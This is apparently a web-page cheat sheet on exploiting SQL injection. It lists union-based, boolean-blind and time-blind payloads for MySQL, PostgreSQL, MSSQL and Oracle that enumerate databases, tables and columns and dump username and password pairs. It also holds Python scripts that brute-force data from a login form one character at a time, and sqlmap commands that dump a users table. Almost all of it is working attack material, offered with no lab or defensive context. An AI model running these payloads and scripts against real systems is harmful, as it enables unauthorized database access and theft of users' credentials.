Skip to content

SQLi Exploitation

Union-Based Extraction

Step 1: Find Column Count

ORDER BY method:

' ORDER BY 1-- -    -- Works
' ORDER BY 2-- -    -- Works
' ORDER BY 3-- -    -- Works
' ORDER BY 4-- -    -- ERROR! (3 columns)

UNION SELECT NULL method:

' UNION SELECT NULL-- -           -- Error
' UNION SELECT NULL,NULL-- -      -- Error
' UNION SELECT NULL,NULL,NULL-- - -- Works! (3 columns)

Step 2: Find Visible Columns

' UNION SELECT 1,2,3-- -
-- Check which numbers appear in response
-- Example: "2" visible in page → column 2 is injectable

Step 3: Extract Data

Database Version:

-- MySQL
' UNION SELECT NULL,@@version,NULL-- -

-- PostgreSQL
' UNION SELECT NULL,version(),NULL-- -

-- MSSQL
' UNION SELECT NULL,@@version,NULL-- -

-- Oracle
' UNION SELECT NULL,banner,NULL FROM v$version-- -

Current Database/User:

-- MySQL
' UNION SELECT database(),user(),@@hostname-- -

-- PostgreSQL
' UNION SELECT current_database(),current_user,NULL-- -

-- MSSQL
' UNION SELECT db_name(),user_name(),@@servername-- -

List Databases:

-- MySQL
' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata-- -
' UNION SELECT NULL,GROUP_CONCAT(schema_name),NULL FROM information_schema.schemata-- -

-- PostgreSQL
' UNION SELECT NULL,datname,NULL FROM pg_database-- -

-- MSSQL
' UNION SELECT NULL,name,NULL FROM sys.databases-- -

List Tables:

-- MySQL
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -

-- PostgreSQL
' UNION SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname='public'-- -

-- MSSQL
' UNION SELECT NULL,name,NULL FROM sys.tables-- -

List Columns:

-- MySQL
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

-- PostgreSQL
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

-- MSSQL
' UNION SELECT NULL,name,NULL FROM sys.columns WHERE object_id=OBJECT_ID('users')-- -

Dump Data:

-- MySQL
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users-- -
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL FROM users-- -

-- PostgreSQL
' UNION SELECT NULL,username||':'||password,NULL FROM users-- -

-- MSSQL
' UNION SELECT NULL,username+':'+password,NULL FROM users-- -


Blind Boolean-Based Extraction

When no output is visible but true/false conditions produce different responses.

Character Enumeration

-- Extract character by character
' AND SUBSTRING(database(),1,1)='a'-- -
' AND SUBSTRING(database(),1,1)='b'-- -
...

-- Faster with ASCII comparison
' AND ASCII(SUBSTRING(database(),1,1))>96-- -
' AND ASCII(SUBSTRING(database(),1,1))>109-- -  -- Binary search

Length Detection

' AND LENGTH(database())>5-- -
' AND LENGTH(database())=6-- -

Full Extraction Flow

-- 1. Get database name length
' AND LENGTH(database())=4-- -  -- True? DB name is 4 chars

-- 2. Extract chars (position 1)
' AND SUBSTRING(database(),1,1)='t'-- -

-- 3. Extract tables
' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='u'-- -

-- 4. Extract columns
' AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)='i'-- -

-- 5. Extract data
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -

Blind Time-Based Extraction

When no difference in response content.

Conditional Timing

-- MySQL
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -
' AND IF(ASCII(SUBSTRING(database(),1,1))>96, SLEEP(5), 0)-- -

-- PostgreSQL
' AND CASE WHEN SUBSTRING(current_user,1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

-- MSSQL
' IF SUBSTRING(db_name(),1,1)='m' WAITFOR DELAY '0:0:5'-- -

-- Oracle
' AND CASE WHEN SUBSTR(user,1,1)='S' THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 1 END=1-- -

Heavy Query Alternative

When SLEEP is blocked:

-- MySQL
' AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)>0-- -

-- MySQL BENCHMARK
' AND BENCHMARK(10000000,SHA1('test'))-- -

-- PostgreSQL
' AND (SELECT COUNT(*) FROM pg_class A, pg_class B, pg_class C)>0-- -

Python Extraction Script

Boolean-Based

import requests
import string

target = "http://target.com/login"
chars = string.ascii_lowercase + string.digits + "_"

def extract_data(query_template, max_len=50):
    result = ""
    for pos in range(1, max_len + 1):
        found = False
        for char in chars:
            payload = query_template.format(pos=pos, char=char)
            data = {"username": f"admin' AND {payload}-- -", "password": "x"}
            r = requests.post(target, data=data)
            if "Welcome" in r.text:  # True condition
                result += char
                print(f"[+] Found: {result}")
                found = True
                break
        if not found:
            break
    return result

# Usage
db_name = extract_data("SUBSTRING(database(),{pos},1)='{char}'")

Binary Search (Faster)

def binary_search_char(pos, query_template):
    low, high = 32, 126  # Printable ASCII
    while low < high:
        mid = (low + high) // 2
        payload = query_template.format(pos=pos, ascii_val=mid)
        data = {"id": f"1' AND {payload}-- -"}
        r = requests.get(target, params=data)
        if "true_condition" in r.text:
            low = mid + 1
        else:
            high = mid
    return chr(low)

Time-Based

import time

def time_extract(pos, char):
    payload = f"' AND IF(SUBSTRING(database(),{pos},1)='{char}',SLEEP(2),0)-- -"
    start = time.time()
    requests.get(target, params={"id": payload})
    return time.time() - start > 2

sqlmap One-Liners

# Enumerate databases
sqlmap -u "URL?id=1" --dbs

# Enumerate tables
sqlmap -u "URL?id=1" -D database_name --tables

# Enumerate columns
sqlmap -u "URL?id=1" -D database_name -T users --columns

# Dump data
sqlmap -u "URL?id=1" -D database_name -T users -C username,password --dump

# Force technique
sqlmap -u "URL?id=1" --technique=B  # Boolean
sqlmap -u "URL?id=1" --technique=T  # Time
sqlmap -u "URL?id=1" --technique=U  # Union